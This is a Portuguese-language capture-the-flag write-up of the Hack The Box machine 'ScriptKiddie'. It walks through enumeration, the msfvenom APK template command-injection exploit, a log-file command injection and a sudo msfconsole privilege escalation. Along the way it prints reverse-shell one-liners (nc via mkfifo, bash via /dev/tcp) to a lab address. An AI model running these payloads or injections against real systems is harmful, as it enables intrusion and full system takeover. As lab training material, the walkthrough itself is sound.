Olá pessoal!
A máquina desta semana será ScriptKiddie, outra máquina Linux classificada como fácil do Hack The Box, criada por 0xdf.
Info
Write-ups para máquinas do Hack The Box são postados assim que as respectivas máquinas são aposentadas
Enumeração
Como de costume, iniciado enumeração com um scan rápido do nmap para verificar os serviços publicados nesta máquina.
$ nmap -sC -sV -Pn -oA quick 10.10.10.226
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-24 14:05 -03Nmap scan report for 10.10.10.226Host is up (0.077s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)| 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)|_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)|_http-server-header: Werkzeug/0.16.1 Python/3.8.5|_http-title: k1d'5 h4ck3r t00l5Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 11.94 seconds5000/TCP - Serviço HTTP
Ao acessar a página notado algumas ferramentas a serem utilizadas por algum script kiddie como executar um scan utilizando o nmap, criar um payload no msfvenom e buscar por exploits utilizando o searchsploit.
Tentei diversas formas de injeção de código neste formulário, inclusive tentando algo automatizado como por exemplo a ferramenta commixproject/commix que encontrei no Github, porém sem sucesso desta vez.
Buscando por vulnerabilidades nas ferramentas utilizadas pela página (nmap, msfvenom, searchsploit), acabei encontrando uma relacionada ao msfvenom, conforme abaixo:
$ searchsploit msfvenom---------------------------------------------------------------------- --------------------------------- Exploit Title | Path---------------------------------------------------------------------- ---------------------------------Metasploit Framework 6.0.11 - msfvenom APK template command injection | multiple/local/49491.py---------------------------------------------------------------------- ---------------------------------Shellcodes: No ResultsAceso inicial e User flag
Alterado arquivo python com o payload desejado rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f, encontrei alguns erros durante a execução do binário keytool, uma vez que este tenta assinar um arquivo APK com o payload no Common Name mas, uma vez que existia um caracter + no conteúdo codificado em base64 na primeira iteração, precisei modificá-lo para codificá-lo novamente, gerando um payload desta vez com sucesso a ser enviado na ferramenta e utilizado na exploração da vulnerabilidade no portal:
# Change mepayload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f'
# b64encode to avoid badchars (keytool is picky)payload_b64 = b64encode(payload.encode()).decode()if '+' in payload_b64: payload_b64 = b64encode(payload_b64.encode()).decode() decode = '| base64 -d | base64 -d'else: decode = '| base64 -d'
dname = f"CN='|echo -n {payload_b64} {decode} | sh #"Abaixo podemos ver o output da criação do payload gerado, no caso o arquivo evil.apk
$ python3 49491.py[+] Manufacturing evil apkfilePayload: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f-dname: CN='|echo -n Y20wZ0wzUnRjQzltTzIxclptbG1ieUF2ZEcxd0wyWTdZMkYwSUM5MGJYQXZabnd2WW1sdUwzTm9JQzFwSURJK0pqRjhibU1nTVRBdU1UQXVNVFF1TVRNMklEUTBORE1nUGk5MGJYQXZaZz09 | base64 -d | base64 -d | sh #
adding: empty (stored 0%)jar signed.
Warning:The signer's certificate is self-signed.The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.POSIX file permission and/or symlink attributes detected. These attributes are ignored when signing and are not protected by the signature.
[+] Done! apkfile is at /tmp/tmpt7qr4ner/evil.apkDo: msfvenom -x /tmp/tmpt7qr4ner/evil.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/nullApós gerado o arquivo APK contendo o payload, executado um request no portal com os dados sugeridos no final da execução do script anterior, apontando para o LHOST 127.0.0.1 e selecionando o tipo de payload android, que deverá ser traduzido para o payload android/meterpreter/reverse_tcp.

Após clicar no botão Generate, um shell reverso foi retornado no listener inicializado previamente conforme especificado durante a criação do payload.

Nesta mesma sessão obtida, com as credenciais em que o aplicativo se encontrava em execução, no caso o usuário kid, foi possível obter a flag de usuário.
kid@scriptkiddie:~$ iduid=1000(kid) gid=1000(kid) groups=1000(kid)kid@scriptkiddie:~$ cat /home/kid/user.txt<redacted>Root flag
Depois de executar o linenum.sh, notado que existe outro usuário na máquina, pwn, e que tínhamos direito de leitura em seu perfil de diretório, o qual continha um arquivo chamado scanloosers.sh com o seguinte conteúdo:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/cat $log | cut -d' ' -f3- | sort -u | while read ip; do sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fiUma vez que este script lê o conteúdo de um arquivo localizado no perfil do usuário kid (/home/kid/logs/hackers), editado seu conteúdo com o valor abaixo, de modo que fosse possível injetar o código necessário para a obtenção de um novo shell reverso com a conta pwn, que aparentemente executaria este script de forma recorrente.
echo " ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' #" > ~/logs/hackersApós definir o novo listener e alterar o arquivo hackers, um novo shell reverso foi retornado, desta vez com a conta pwn :smile:
Enumerando novamente a máquina, desta vez a partir da conta deste novo usuário utilizando o linpeas.sh, notei que este user possuía direitos de execução do msfconsole de modo privilegiado.
[+] Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suidMatching Defaults entries for pwn on scriptkiddie: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie: (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsoleAo instanciar a console utilizando o sudo, pude executar comandos normalmente utilizando o privilégio de root, podendo assim ler o arquivo /root/root.txt e obter a flag final desta máquina
pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole -qmsf6 > id[*] exec: id
uid=0(root) gid=0(root) groups=0(root)msf6 > cat /root/root.txt[*] exec: cat /root/root.txt
<redacted>msf6 >Espero que tenham gostado!
Nos vemos no próximo post :smiley: